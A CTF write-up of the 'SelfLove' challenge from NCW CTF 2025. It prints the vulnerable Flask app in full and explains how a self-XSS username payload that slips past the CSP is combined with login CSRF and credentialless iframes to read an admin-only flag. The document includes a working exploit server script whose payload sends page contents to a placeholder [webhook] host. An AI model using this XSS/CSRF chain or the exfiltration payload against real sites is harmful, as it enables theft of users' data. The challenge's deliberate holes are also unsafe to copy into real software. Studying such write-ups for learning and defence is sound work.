---
# System prepended metadata

title: SelfLove NCW CTF 2025 WriteUp

---

# SelfLove NCW CTF 2025 WriteUp

🖊️Author: DJumanto
🛡️Team: proof by feeling
📖Note: This Writeup contains solver for SelfLove challenge in NCW CTF 2025

---

## TL;DR

This write-up explains how we can escalate a self‑XSS, combined with CSRF, into stealing information from other users. 

---

## Summary

* **Vulnerabilities:** Cross Site Scripting (XSS), CSRF.
* **Target:** Read the flag in high privilege user endpoint

---

## The App

In this challenge, we're given a web application with some functionalities, where we able to register, login, and report admin, an obvious client side challenge.

app.py
```py
from flask import Flask, request, g, render_template, flash, session
import sqlite3
import os
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import time
import threading

DATABASE = "database.db"
app = Flask(__name__)
limiter = Limiter(
    get_remote_address,
    app=app
)

app.secret_key = os.urandom(32).hex()
app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True
FLAG = "NCW{fake_flag}"
admin_username = "tanknight_" + os.urandom(6).hex()
admin_password = FLAG
from sigma import *

@app.after_request
def after_request(response):
    response.headers["Content-Security-Policy"] = "default-src 'self'; script-src 'self' https://cdn.tailwindcss.com/3.4.17 http://www.instagram.com/embed.js; style-src 'self' 'unsafe-inline'; frame-src https://www.instagram.com/;"
    return response

def get_db():
    """Return a DB connection for this request, creating it if needed."""
    if "db" not in g:
        g.db = sqlite3.connect(DATABASE, timeout=30)
        g.db.row_factory = sqlite3.Row 
    return g.db

@app.route('/')
def home():
    username = session.get('username', 'Guest')
    if username == 'Guest':
        return "Hello " + username + "!" + '<script src="https://cdn.tailwindcss.com/3.4.17"></script><body class="min-h-screen flex flex-col items-center gap-4 justify-center bg-gradient-to-br from-slate-900 via-indigo-900 to-sky-900 text-slate-100 text-center font-sans"><br>Login untuk melihat easter egg.<a href="/login" class="px-6 py-3 bg-sky-500 hover:bg-sky-600 text-slate-900 font-semibold rounded-xl shadow-lg transition">Login</a></body>'
    else:
        return "Hello " + username + "!" + "<meta http-equiv='refresh' content='0; url=/dashboard' />"

@app.route('/dashboard')
def dashboard():
    if not session.get('user_id'):
        return "<meta http-equiv='refresh' content='0; url=/login' />" + "Please login first!"
    return '<script src="https://cdn.tailwindcss.com/3.4.17"></script><body class="min-h-screen flex items-center gap-4 justify-center bg-gradient-to-br from-slate-900 via-indigo-900 to-sky-900 text-slate-100 text-center font-sans">' + post_instagram_tersigma + post_instagram_tersigma_2 + '</body>' + f"<!-- flag gratis 👻: {FLAG[:5]} -->"

@app.route('/flag')
def flag():
    print(f"{session.get('username','Guest')} is trying to access /flag")
    if session.get('admin'):
        return FLAG
    return "kamu siapa bang?"

@app.route('/logout')
def logout():
    session.clear()
    return "<meta http-equiv='refresh' content='0; url=/login' />" + "Logout successful!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    if session.get('user_id'):
        return "<meta http-equiv='refresh' content='0; url=/' />" + "Already logged in!"
    
    if request.method == 'GET':
        return render_template('login.html')
    
    username = request.form['username']
    password = request.form['password']
    
    db = get_db()
    cursor = db.cursor()
    cursor.execute('SELECT * FROM users WHERE username = ? AND password = ?', (username, password))
    user = cursor.fetchone()
    db.close()
    
    if not user:
        return "<meta http-equiv='refresh' content='0; url=/login' />" + "Invalid credentials or account does not exists!"
    
    session['user_id'] = user['id']
    session['username'] = user['username']
    session['admin'] = user['admin']
    return "<meta http-equiv='refresh' content='0; url=/' />" + "Login successful!"

@app.route('/register', methods=['GET', 'POST'])
def register():
    if session.get('user_id'):
        return "<meta http-equiv='refresh' content='0; url=/' />" + "Already logged in!"
    
    if request.method == 'GET':
        return render_template('register.html')
    
    username = request.form['username']
    password = request.form['password']
    
    db = get_db()
    cursor = db.cursor()
    try:
        if FLAG in password:
            cursor.execute('INSERT INTO users (username, password, admin) VALUES (?, ?, ?)', (username, password, True))
        else:
            cursor.execute('INSERT INTO users (username, password, admin) VALUES (?, ?, ?)', (username, password, False))
        db.commit()
        
        user_id = cursor.lastrowid
        cursor.execute('SELECT id, username, admin FROM users WHERE id = ?', (user_id,))
        user = cursor.fetchone()
        
        session['user_id'] = user['id']
        session['username'] = user['username']
        session['admin'] = user['admin']
        message = "<meta http-equiv='refresh' content='0; url=/dashboard' />" + f"User {username} registered successfully."
    except sqlite3.IntegrityError:
        message = "<meta http-equiv='refresh' content='0; url=/register' />" +  f"User {username} already exists."
    finally:
        db.close()

    return message

def run_bot(url):
    options = Options()
    options.add_argument('--headless')
    options.add_argument('--no-sandbox')
    options.add_argument("--ignore-certificate-errors")
    options.add_argument('--disable-dev-shm-usage')
    options.add_argument('--disable-infobars')
    options.add_argument('--disable-background-networking')
    options.add_argument('--disable-default-apps')
    options.add_argument('--disable-extensions')
    options.add_argument('--disable-gpu')
    options.add_argument('--disable-sync')
    options.add_argument('--disable-translate')

    driver = webdriver.Chrome(options=options)
    try:
        ## STAGE 1: Registering admin account..
        driver.get("https://127.0.0.1:40111/register")
        driver.find_element(By.NAME, "username").send_keys(admin_username)
        driver.find_element(By.NAME, "password").send_keys(admin_password)
        driver.find_element(By.XPATH, "//button[@type='submit']").click()
        time.sleep(1)
        try:
            ## STAGE 2: Login as admin..
            driver.get("https://127.0.0.1:40111/login")
            driver.find_element(By.NAME, "username").send_keys(admin_username)
            driver.find_element(By.NAME, "password").send_keys(admin_password)
            driver.find_element(By.XPATH, "//button[@type='submit']").click()
            time.sleep(1)
        except:
            ...
        ## STAGE 3: Visit the target URL
        print(f"Bot is visiting: {url}")
        print(driver.get_cookies())
        driver.get(url)
        time.sleep(10)
        print(driver.get_cookies())
        message = 'done.'
    except Exception as e:
        message = f"Error occurred: {e}"
        print(f"Error occurred: {e}")
    finally:
        driver.close()
    return message

@app.route('/report', methods=['GET', 'POST'])
@limiter.limit("5 per 10 minutes", methods=["POST"])
def report():
    if request.method == 'GET':
        return render_template('report.html')
    
    url = request.form['url']
    if not url.startswith("http://") and not url.startswith("https://"):
        return "Only http and https protocol allowed.", 400
    
    threading.Thread(target=run_bot, args=(url,)).start()
    return f"Report submitted! Our bot will visit url shortly."

def init_db():
    with app.app_context():
        db = get_db()
        cur = db.cursor()
        cur.execute(
            """
            CREATE TABLE IF NOT EXISTS users (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                username TEXT UNIQUE NOT NULL,
                password TEXT NOT NULL,
                admin BOOLEAN NOT NULL DEFAULT 0
            )
            """
        )
        db.commit()
        
if __name__ == '__main__':
    init_db()
    app.run(host='0.0.0.0', port=40111, ssl_context='adhoc')
```

The target is to read the flag in the **/flag** endpoint where only admin can visit it.

## Self XSS

There are several clear HTML injection points, both of which appear in the content returned to the user after the authentication process:

> Injection point
```python
...
# after login process
@app.route('/')
def home():
    username = session.get('username', 'Guest')
    if username == 'Guest':
        return "Hello " + username + "!" + '<script src="https://cdn.tailwindcss.com/3.4.17"></script><body class="min-h-screen flex flex-col items-center gap-4 justify-center bg-gradient-to-br from-slate-900 via-indigo-900 to-sky-900 text-slate-100 text-center font-sans"><br>Login untuk melihat easter egg.<a href="/login" class="px-6 py-3 bg-sky-500 hover:bg-sky-600 text-slate-900 font-semibold rounded-xl shadow-lg transition">Login</a></body>'
    else:
        return "Hello " + username + "!" + "<meta http-equiv='refresh' content='0; url=/dashboard' />"
...

# after register process
        session['user_id'] = user['id']
        session['username'] = user['username']
        session['admin'] = user['admin']
        message = "<meta http-equiv='refresh' content='0; url=/dashboard' />" + f"User {username} registered successfully."
    except sqlite3.IntegrityError:
        message = "<meta http-equiv='refresh' content='0; url=/register' />" +  f"User {username} already exists."
    finally:
        db.close()
...
```

However, the injection that happens right after registration isn’t very useful, since the page immediately redirects via a meta tag. The one that appears after logging in is much more useful, though, because we can simply comment out the **\<meta>** tag using the username below.

```html
<script src=’/’></script><!-- 
```
so it will become like this when rendered:

```html
Hello <script src=’/’></script><!-- !  <meta http-equiv='refresh' content='0; url=/dashboard' />
```

However, because the CSP sets default-src 'self', our stored payload has to come from the same origin. To work around that, we can register a user whose username acts as both JavaScript and HTML. The trick is to turn the Hello string into an arrow function, so our username ends up looking like this:
```
= async () => {dosomethinghere}; Hello(); //<script src=’/’></script><!--
```

Then when it behaves as javascript, it will be processed like this:
```javascript
Hello = async () => {dosomethinghere}; Hello(); //<script src=’/’></script><!-- !  <meta http-equiv='refresh' content='0; url=/dashboard' />
```

Great now we have XSS... but stil a self-XSS, how do we escalate it so we can compromise the victim?

## CSRF Attack

During the login process, we can see that the application doesn’t enforce CSRF protection. That means we can create a page containing a [credentialles iframe](https://developer.mozilla.org/en-US/docs/Web/Security/IFrame_credentialless), then trick the user into visiting it so they log in as the attacker with our payload. The iframe won’t use the parent’s cookies, though. So the question is: *"How do we actually get the flag?"* If we look closely at the CSP configuration:

```python
app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True
```

The cookie’s SameSite value is set to None, which means it can be sent across different origins. That’s a good sign, because now we can create another iframe that uses the admin’s original cookies. Since both iframes share the same origin, iframe 1 can access properties inside iframe 2. Here’s a visual breakdown of the plan:

![image](https://hackmd.io/_uploads/ryBlz0MW-x.png)

We can host a web like below:
```python
from flask import Flask

app = Flask(__name__)

@app.route("/cok.html")
def index():
    return '''
    <iframe name="alamak" src="./csrf.html" width="40%" height="500px" credentialless></iframe>
<iframe name="kisanak" src="https://127.0.0.1:40111/flag" width="40%" height="500px"></iframe>'''

@app.route("/csrf.html")
def what():
    return '''<html>
<body>
  <form action="https://127.0.0.1:40111/login" method="POST">
    <input type="hidden" name="username" value=" = async () => { PAYLOAD_HERE }; Hello();// <script src='/'></script><!--" />
    <input type="hidden" name="password" value="calamity" />
    <input type="submit" value="submit" />
  </form>
  <script>
    document.forms[0].submit();
  </script>
</body>
</html>'''

@app.route("/")
def hole():
    return "aku ganteng"
    
app.run(host="0.0.0.0", port=1338, ssl_context='adhoc')
```

Yet while attempting for cookie extraction, i realized that the cookies is HTTPOnly
```
session=[cookie]; Secure; HttpOnly; Path=/; SameSite=None
```

Since there’s no endpoint that reflects the cookies in the response, our only option is to extract the flag directly from the page’s body. We can do that easily using ``window.top[1].document.body.innerText``. So here’s my final XSS payload:

```
 = async () => { await new Promise(r => setTimeout(r,1000)); location.replace(`https://[webhook]?c=${btoa(window.top[1].document.body.innerText)}`); }; Hello();// <script src='/'></script><!--
```

Now we can register as a user with that payload and force them to visit our site **/cok.html**, and we'll get our flag in the webhook.

---

## Exploit POC
automate.py
```python
from flask import Flask

app = Flask(__name__)

@app.route("/cok.html")
def index():
    return '''
    <iframe name="alamak" src="./csrf.html" width="40%" height="500px" credentialless></iframe>
<iframe name="kisanak" src="https://127.0.0.1:40111/flag" width="40%" height="500px"></iframe>'''

@app.route("/csrf.html")
def what():
    return '''<html>
<body>
  <form action="https://127.0.0.1:40111/login" method="POST">
    <input type="hidden" name="username" value=" = async () => { await new Promise(r => setTimeout(r,1000)); location.replace(`https://[webhook]?c=${btoa(window.top[1].document.body.innerText)}`); }; Hello();// <script src='/'></script><!--" />
    <input type="hidden" name="password" value="calamity" />
    <input type="submit" value="submit" />
  </form>
  <script>
    document.forms[0].submit();
  </script>
</body>
</html>'''

@app.route("/")
def hole():
    return "aku ganteng"
    
app.run(host="0.0.0.0", port=1338, ssl_context='adhoc')
```

---

## References

* https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/requestSubmit.
* https://blog.slonser.info/posts/make-self-xss-great-again/.

---

